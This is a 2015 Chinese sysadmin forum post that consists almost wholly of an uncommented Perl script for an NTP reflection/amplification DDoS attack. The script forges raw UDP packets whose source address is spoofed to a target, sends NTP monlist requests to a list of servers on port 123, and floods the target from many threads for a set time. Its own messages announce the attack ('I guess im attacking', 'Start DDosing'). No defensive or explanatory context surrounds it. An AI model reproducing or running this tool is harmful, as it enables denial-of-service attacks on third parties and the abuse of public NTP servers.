设为首页 收藏本站
查看: 940|回复: 0

[经验分享] NTP,PERL

[复制链接]
累计签到:1 天
连续签到:1 天
发表于 2015-12-28 10:44:03 | 显示全部楼层 |阅读模式
  use threads;

use Socket;


my $num_of_threads = $ARGV[5];

my $target = $ARGV[0];

my $udp_src_port = $ARGV[1];

my $time = $ARGV[2];

#Open Input List.

my $openme = $ARGV[3];


open my $handle, '<', $openme;

chomp(my @servers = <$handle>);

close $handle;


my $ppr = $ARGV[4];

my @threads = initThreads();

print "I guess im attacking $target for $time seconds with $num_of_threads threads\n";


#Does the list exist?

if (-e $openme) {

print "Using $openme as list.\n";

}

unless (-e $openme) {

print "List does not exist.\n";

exit();

}


#Start Threading

foreach(@threads){

$_ = threads->create(\&attackshit);

}

foreach(@threads){

$_->join();

}


sub initThreads{

my @initThreads;

for(my $i = 1;$i<=$num_of_threads;$i++){

push(@initThreads,$i);

}

return @initThreads;

}




#Start DDosing.

sub attackshit{

alarm("$time");

repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];

my $ip_src = ( gethostbyname($target) )[4];

socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;

setsockopt( RAW, 0, 1, 1 );

main();


sub main {

my $packet;

$packet = ip_header();

$packet .= udp_header();

$packet .= payload();

#send_packet($packet) && goto repeat;

#send_packet($packet)

for (1 .. $ppr) {

send_packet($packet) or last;

}

goto repeat;

}


sub ip_header {

my $ip_ver = 4;

my $ip_header_len = 5;

my $ip_tos = 0;

my $ip_total_len = $ip_header_len + 20;

my $ip_frag_id = 0;

my $ip_frag_flag = "010";#"\x30\x31\x30";

my $ip_frag_offset = "0000000000000";#"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";

my $ip_ttl = 255;

my $ip_proto = 17;

my $ip_checksum = 0;

my $ip_header = pack( "H2 H2 n n B16 h2 c n a4 a4",#"\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",

$ip_ver.$ip_header_len,

$ip_tos,

$ip_total_len,

$ip_frag_id,

$ip_frag_flag.$ip_frag_offset,

$ip_ttl,

$ip_proto,

$ip_checksum,

$ip_src,

$ip_dst

);

return $ip_header;

}


sub udp_header {

my $udp_dst_port = 123;

my $udp_len = 8 + length( payload() );

my $udp_checksum = 0;

my $udp_header = pack(

"n n n n",#"\x6E\x20\x6E\x20\x6E\x20\x6E",

$udp_src_port,

$udp_dst_port,

$udp_len,

$udp_checksum

);

return $udp_header;

}


sub payload {

my $data = "\x17\x00\x03\x2a" . "\x00" x 4;

my $payload = pack( "a".length($data), $data );

return $payload;

}


sub send_packet {

send( RAW, $_[0], 0, pack( "Sna4x8", AF_INET, 60, $ip_dst ) );

}


}

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-157348-1-1.html 上篇帖子: Perl网页爬虫 下篇帖子: Perl information,doc,module document and FAQ.
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表